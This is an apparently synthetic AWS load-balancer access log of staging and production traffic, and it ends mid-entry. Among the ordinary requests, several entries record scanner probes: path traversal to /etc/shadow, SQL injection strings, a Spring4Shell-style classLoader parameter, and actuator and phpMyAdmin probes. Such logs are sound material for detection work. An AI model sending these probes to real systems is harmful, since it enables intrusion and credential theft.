2024-11-01T01:10:40.977709Z staging-alb 50.191.39.63:22255 69.198.60.12:443 0.119509 0.097909 0.129338 200 200 155 7695 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c820-445e1c1fe1c34308b2af0bf9" "staging-alb.example.com" "-" 4 2024-11-01T01:10:40.977709Z "forward" "-" "-" "69.198.60.12:443" "200" "-" "-" -https 2024-11-01T01:10:41.807448Z staging-alb 34.26.206.170:28612 67.77.170.10:80 0.094507 0.287153 0.076200 301 301 951 1149 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c821-92848eac14c54a978280041d" "staging-alb.example.com" "-" 1 2024-11-01T01:10:41.807448Z "forward" "-" "-" "67.77.170.10:80" "301" "-" "-" -http 2024-11-01T01:10:43.374178Z staging-alb 205.242.188.70:52998 48.51.188.200:8080 0.142792 0.144885 0.097159 302 302 575 11047 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c823-1139ee23bd8242b98b03ea79" "staging-alb.example.com" "-" 7 2024-11-01T01:10:43.374178Z "forward" "-" "-" "48.51.188.200:8080" "302" "-" "-" -https 2024-11-01T01:10:44.424040Z prod-web-alb 80.71.101.99:29035 10.0.164.171:443 0.067883 0.422459 0.075135 302 302 977 12102 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c824-6f6c511d64304ec98aed63b4" "prod-web-alb.example.com" "-" 5 2024-11-01T01:10:44.424040Z "forward" "-" "-" "10.0.164.171:443" "302" "-" "-" -https 2024-11-01T01:10:44.731702Z prod-web-alb 185.181.187.52:33692 10.0.145.186:443 0.080785 0.330005 0.007862 404 404 989 10787 "GET /images/../../../../etc/shadow HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c824-68de11e65a294eb1be0c9b7d" "-" "-" 5 2024-11-01T01:10:44.731702Z "forward" "-" "-" "10.0.145.186:443" "404" "-" "-" -http 2024-11-01T01:10:45.452558Z staging-alb 25.23.239.189:48331 40.237.128.93:8080 0.136022 0.236967 0.009030 404 404 408 7241 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c825-f72af6b9b236450ab150c6a4" "staging-alb.example.com" "-" 3 2024-11-01T01:10:45.452558Z "forward" "-" "-" "40.237.128.93:8080" "404" "-" "-" -https 2024-11-01T01:10:46.332519Z prod-api-alb 51.173.183.110:64277 10.0.49.69:443 0.045478 0.231500 0.055182 200 200 548 11905 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c826-e8bdf19d56a14f1688169427" "prod-api-alb.example.com" "-" 10 2024-11-01T01:10:46.332519Z "forward" "-" "-" "10.0.49.69:443" "200" "-" "-" -https 2024-11-01T01:10:47.909120Z prod-web-alb 204.137.64.254:33460 10.0.12.8:443 0.085094 0.360447 0.057860 200 200 396 12538 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c827-c17dd60b880c439daf80cb0b" "prod-web-alb.example.com" "-" 2 2024-11-01T01:10:47.909120Z "forward" "-" "-" "10.0.12.8:443" "200" "-" "-" -http 2024-11-01T01:10:48.167073Z staging-alb 223.225.235.123:34666 124.128.190.227:8080 0.083699 0.637246 0.130357 200 200 185 13472 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c828-cd688026cf3149bd8229c8bd" "staging-alb.example.com" "-" 9 2024-11-01T01:10:48.167073Z "forward" "-" "-" "124.128.190.227:8080" "200" "-" "-" -https 2024-11-01T01:10:49.708540Z prod-api-alb 234.69.117.95:21274 10.0.199.103:443 0.035684 0.349290 0.052857 404 404 98 11375 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c829-80afbce3a67d4065ba4978ef" "prod-api-alb.example.com" "-" 2 2024-11-01T01:10:49.708540Z "forward" "-" "-" "10.0.199.103:443" "404" "-" "-" -https 2024-11-01T01:10:51.218352Z prod-web-alb 185.25.21.155:47757 10.0.47.11:443 0.095093 0.397108 0.002761 200 200 535 12348 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c82b-e4733888efc64b398b59f4a4" "prod-web-alb.example.com" "-" 4 2024-11-01T01:10:51.218352Z "forward" "-" "-" "10.0.47.11:443" "200" "-" "-" -https 2024-11-01T01:10:51.823810Z prod-web-alb 171.123.92.18:35377 10.0.65.233:443 0.058256 0.277943 0.050620 200 200 256 7806 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c82b-ea58ac2f293e477796a082a6" "prod-web-alb.example.com" "-" 4 2024-11-01T01:10:51.823810Z "forward" "-" "-" "10.0.65.233:443" "200" "-" "-" -https 2024-11-01T01:10:53.733177Z prod-web-alb 124.171.142.53:30294 10.0.242.255:443 0.084134 0.432261 0.001602 200 200 385 14987 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c82d-d41ca5deaf6b4cbe8929cc44" "prod-web-alb.example.com" "-" 9 2024-11-01T01:10:53.733177Z "forward" "-" "-" "10.0.242.255:443" "200" "-" "-" -https 2024-11-01T01:10:54.240660Z prod-web-alb 13.44.102.57:45167 10.0.161.218:443 0.058410 0.391186 0.040991 404 404 71 2177 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c82e-1335cab52dd94d15ac8eba20" "-" "-" 3 2024-11-01T01:10:54.240660Z "forward" "-" "-" "10.0.161.218:443" "404" "-" "-" -https 2024-11-01T01:10:55.457543Z prod-api-alb 237.240.145.173:18567 10.0.116.123:443 0.050363 0.349770 0.032568 301 301 640 6627 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c82f-09f77b93d85f4ebea0791f60" "prod-api-alb.example.com" "-" 10 2024-11-01T01:10:55.457543Z "forward" "-" "-" "10.0.116.123:443" "301" "-" "-" -https 2024-11-01T01:10:55.950128Z staging-alb 28.52.106.26:36489 250.70.155.109:443 0.102980 0.075537 0.053118 200 200 850 9758 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c82f-d837890da0b74571b5001a1d" "staging-alb.example.com" "-" 10 2024-11-01T01:10:55.950128Z "forward" "-" "-" "250.70.155.109:443" "200" "-" "-" -http 2024-11-01T01:10:56.123692Z staging-alb 232.129.190.66:14668 104.175.70.46:443 0.038070 0.692558 0.029447 200 200 424 11746 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c830-1f22befaeeb547669304613b" "staging-alb.example.com" "-" 0 2024-11-01T01:10:56.123692Z "forward" "-" "-" "104.175.70.46:443" "200" "-" "-" -https 2024-11-01T01:10:56.331843Z prod-web-alb 104.46.71.25:30692 10.0.228.118:443 0.084464 0.370733 0.082038 404 404 439 11794 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c830-73a822169e9645ada2f5b818" "prod-web-alb.example.com" "-" 0 2024-11-01T01:10:56.331843Z "forward" "-" "-" "10.0.228.118:443" "404" "-" "-" -https 2024-11-01T01:10:56.796248Z prod-api-alb 212.191.252.101:60052 10.0.161.199:443 0.085759 0.032035 0.063921 301 301 361 883 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c830-1709898af4f74dce9c93e092" "prod-api-alb.example.com" "-" 9 2024-11-01T01:10:56.796248Z "forward" "-" "-" "10.0.161.199:443" "301" "-" "-" -https 2024-11-01T01:10:58.511573Z prod-api-alb 194.150.119.76:25322 10.0.56.43:443 0.099005 0.492005 0.085550 200 200 681 5277 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c832-86d596e3996e4c3487219966" "prod-api-alb.example.com" "-" 0 2024-11-01T01:10:58.511573Z "forward" "-" "-" "10.0.56.43:443" "200" "-" "-" -https 2024-11-01T01:10:58.941567Z prod-web-alb 45.155.205.144:60280 10.0.199.85:443 0.079235 0.307227 0.071985 403 403 184 1664 "GET /api/../../../config HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c832-72086cf1071e4a11a111ff76" "-" "-" 3 2024-11-01T01:10:58.941567Z "forward" "-" "-" "10.0.199.85:443" "403" "-" "-" -https 2024-11-01T01:11:00.249724Z prod-web-alb 253.180.244.90:35616 10.0.204.17:443 0.048498 0.030257 0.019836 200 200 587 906 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c834-641dc3260fba4d5198baaade" "prod-web-alb.example.com" "-" 2 2024-11-01T01:11:00.249724Z "forward" "-" "-" "10.0.204.17:443" "200" "-" "-" -https 2024-11-01T01:11:02.165889Z prod-api-alb 122.243.250.245:19889 10.0.74.196:443 0.086209 0.207974 0.092139 404 404 291 1688 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c836-2086b2efaf00415580caeb19" "prod-api-alb.example.com" "-" 10 2024-11-01T01:11:02.165889Z "forward" "-" "-" "10.0.74.196:443" "404" "-" "-" -https 2024-11-01T01:11:03.273864Z prod-web-alb 128.248.252.106:51452 10.0.129.29:443 0.038445 0.005213 0.064126 200 200 999 5691 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c837-dd17539afcf04da6ae221440" "prod-web-alb.example.com" "-" 10 2024-11-01T01:11:03.273864Z "forward" "-" "-" "10.0.129.29:443" "200" "-" "-" -https 2024-11-01T01:11:04.409434Z prod-api-alb 153.176.233.187:34571 10.0.229.162:443 0.077189 0.335853 0.011858 200 200 241 606 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c838-2773750875dd46e4ad476eb0" "prod-api-alb.example.com" "-" 0 2024-11-01T01:11:04.409434Z "forward" "-" "-" "10.0.229.162:443" "200" "-" "-" -https 2024-11-01T01:11:05.364999Z staging-alb 185.181.187.26:42322 149.177.230.148:80 0.046779 0.317033 0.000339 401 401 843 12021 "GET /administrator HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c839-e2bf9c4110814d5ea9816f3e" "-" "-" 10 2024-11-01T01:11:05.364999Z "forward" "-" "-" "149.177.230.148:80" "401" "-" "-" -https 2024-11-01T01:11:05.831956Z prod-api-alb 166.234.210.206:35062 10.0.245.230:443 0.039189 0.314764 0.076760 301 301 109 13854 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c839-edf4ac77bb094483a0bc4d7a" "prod-api-alb.example.com" "-" 2 2024-11-01T01:11:05.831956Z "forward" "-" "-" "10.0.245.230:443" "301" "-" "-" -https 2024-11-01T01:11:07.699890Z staging-alb 63.185.120.16:35173 253.98.141.2:80 0.073408 0.712162 0.063708 200 200 993 13875 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c83b-62f02e03bd844ec49bdc73d2" "staging-alb.example.com" "-" 4 2024-11-01T01:11:07.699890Z "forward" "-" "-" "253.98.141.2:80" "200" "-" "-" -http 2024-11-01T01:11:09.169404Z staging-alb 0.202.10.180:41267 191.205.240.123:80 0.036324 0.716776 0.025518 404 404 579 14583 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c83d-81eff26f38124e7e8d57a3c7" "staging-alb.example.com" "-" 3 2024-11-01T01:11:09.169404Z "forward" "-" "-" "191.205.240.123:80" "404" "-" "-" -https 2024-11-01T01:11:11.061409Z prod-api-alb 45.155.205.139:63654 10.0.36.59:443 0.009724 0.081342 0.084924 403 403 351 8844 "GET /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c83f-24853057183c4d09a5246566" "-" "-" 2 2024-11-01T01:11:11.061409Z "forward" "-" "-" "10.0.36.59:443" "403" "-" "-" -https 2024-11-01T01:11:12.415502Z prod-web-alb 197.189.24.47:32401 10.0.146.33:443 0.035959 0.446779 0.073703 404 404 211 11383 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c840-ac8e9cb8f8b642058e74a678" "prod-web-alb.example.com" "-" 0 2024-11-01T01:11:12.415502Z "forward" "-" "-" "10.0.146.33:443" "404" "-" "-" -http 2024-11-01T01:11:13.987207Z staging-alb 185.181.73.18:22623 151.125.41.182:8080 0.146441 0.341809 0.034671 301 301 68 8742 "POST /phpmyadmin HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c841-dc6322b191eb44578680e7ca" "-" "-" 8 2024-11-01T01:11:13.987207Z "forward" "-" "-" "151.125.41.182:8080" "301" "-" "-" -https 2024-11-01T01:11:14.762912Z prod-api-alb 250.239.208.115:13062 10.0.117.166:443 0.097538 0.285861 0.079332 302 302 456 4263 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c842-8c70136fac9c476d95796089" "prod-api-alb.example.com" "-" 10 2024-11-01T01:11:14.762912Z "forward" "-" "-" "10.0.117.166:443" "302" "-" "-" -https 2024-11-01T01:11:14.976712Z staging-alb 147.73.22.207:17489 73.30.73.123:80 0.113583 0.051736 0.085040 200 200 218 10678 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c842-ce342dffd10e42fb97d41077" "staging-alb.example.com" "-" 0 2024-11-01T01:11:14.976712Z "forward" "-" "-" "73.30.73.123:80" "200" "-" "-" -https 2024-11-01T01:11:16.908812Z prod-web-alb 156.85.230.64:41171 10.0.252.93:443 0.066761 0.289853 0.003362 301 301 555 1595 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c844-d13bbed8ee214c229b3ea38a" "prod-web-alb.example.com" "-" 6 2024-11-01T01:11:16.908812Z "forward" "-" "-" "10.0.252.93:443" "301" "-" "-" -https 2024-11-01T01:11:17.737202Z prod-web-alb 37.91.132.47:25227 10.0.24.153:443 0.074302 0.368774 0.090309 301 301 960 658 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c845-a9ef966e4df54bef80cc62a9" "prod-web-alb.example.com" "-" 9 2024-11-01T01:11:17.737202Z "forward" "-" "-" "10.0.24.153:443" "301" "-" "-" -https 2024-11-01T01:11:18.939982Z prod-web-alb 254.210.115.101:57566 10.0.75.117:443 0.016885 0.245815 0.037465 200 200 78 7152 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c846-51f68e3defad4012a553911c" "prod-web-alb.example.com" "-" 10 2024-11-01T01:11:18.939982Z "forward" "-" "-" "10.0.75.117:443" "200" "-" "-" -http 2024-11-01T01:11:20.606883Z staging-alb 163.167.204.225:19642 54.182.35.128:443 0.058056 0.716910 0.040157 200 200 388 4133 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c848-9bff8f154f0b4e059caa884c" "staging-alb.example.com" "-" 6 2024-11-01T01:11:20.606883Z "forward" "-" "-" "54.182.35.128:443" "200" "-" "-" -https 2024-11-01T01:11:22.402887Z prod-api-alb 98.225.115.41:55187 10.0.216.232:443 0.066783 0.370882 0.026143 301 301 95 4052 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c84a-a7ccdc21dd4341da998136fc" "prod-api-alb.example.com" "-" 4 2024-11-01T01:11:22.402887Z "forward" "-" "-" "10.0.216.232:443" "301" "-" "-" -https 2024-11-01T01:11:23.462803Z staging-alb 214.214.117.16:58405 105.113.59.243:443 0.141308 0.077325 0.138110 302 302 664 4965 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c84b-f0ed70993c8641e2bc857116" "staging-alb.example.com" "-" 4 2024-11-01T01:11:23.462803Z "forward" "-" "-" "105.113.59.243:443" "302" "-" "-" -https 2024-11-01T01:11:25.086788Z staging-alb 187.180.225.33:27953 2.230.112.97:443 0.109972 0.493602 0.085115 200 200 160 2355 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c84d-d408f9ca275e46f28ab0ea8f" "staging-alb.example.com" "-" 4 2024-11-01T01:11:25.086788Z "forward" "-" "-" "2.230.112.97:443" "200" "-" "-" -http 2024-11-01T01:11:25.741927Z staging-alb 185.181.147.41:62402 0.85.89.41:80 0.059021 0.207485 0.072812 403 403 729 9345 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c84d-5e8ff140f6494de280184735" "-" "-" 6 2024-11-01T01:11:25.741927Z "forward" "-" "-" "0.85.89.41:80" "403" "-" "-" -https 2024-11-01T01:11:26.377498Z prod-api-alb 33.86.100.96:32537 10.0.190.183:443 0.055589 0.048060 0.017512 302 302 523 9734 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c84e-4f5fc609bbf442e18990322b" "prod-api-alb.example.com" "-" 3 2024-11-01T01:11:26.377498Z "forward" "-" "-" "10.0.190.183:443" "302" "-" "-" -http 2024-11-01T01:11:26.599154Z staging-alb 221.207.25.131:45800 242.105.56.228:443 0.053516 0.518419 0.110410 404 404 810 415 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c84e-f562d2edec4b49c1b3b22799" "staging-alb.example.com" "-" 3 2024-11-01T01:11:26.599154Z "forward" "-" "-" "242.105.56.228:443" "404" "-" "-" -https 2024-11-01T01:11:27.032273Z prod-api-alb 193.27.228.118:62051 10.0.168.94:443 0.099997 0.308221 0.014192 500 500 534 10874 "POST /actuator/env HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c84f-12a724b02d144e6ebe2667c6" "-" "-" 1 2024-11-01T01:11:27.032273Z "forward" "-" "-" "10.0.168.94:443" "500" "-" "-" -https 2024-11-01T01:11:27.520280Z prod-api-alb 47.187.238.192:32237 10.0.81.90:443 0.056673 0.292330 0.063694 200 200 152 13175 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c84f-0459f0babaf9449982c2a6d8" "prod-api-alb.example.com" "-" 8 2024-11-01T01:11:27.520280Z "forward" "-" "-" "10.0.81.90:443" "200" "-" "-" -https 2024-11-01T01:11:29.362309Z prod-api-alb 84.253.100.64:43060 10.0.241.216:443 0.040926 0.119075 0.045263 200 200 667 11923 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c851-96051d6943ab408dac0774d5" "prod-api-alb.example.com" "-" 2 2024-11-01T01:11:29.362309Z "forward" "-" "-" "10.0.241.216:443" "200" "-" "-" -https 2024-11-01T01:11:30.966314Z prod-api-alb 202.218.251.60:39046 10.0.27.65:443 0.048839 0.221101 0.064726 404 404 161 2393 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c852-c514aacec86449388c415c5b" "prod-api-alb.example.com" "-" 7 2024-11-01T01:11:30.966314Z "forward" "-" "-" "10.0.27.65:443" "404" "-" "-" -http 2024-11-01T01:11:32.145129Z staging-alb 185.181.76.214:14680 88.254.196.46:8080 0.127416 0.715026 0.111010 403 403 470 13180 "POST /login?id=1'-- HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c854-1cf140cc276b4683902beaab" "-" "-" 6 2024-11-01T01:11:32.145129Z "forward" "-" "-" "88.254.196.46:8080" "403" "-" "-" -https 2024-11-01T01:11:33.950665Z staging-alb 253.176.171.194:19107 249.85.142.7:8080 0.106246 0.372190 0.145302 301 301 567 5270 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 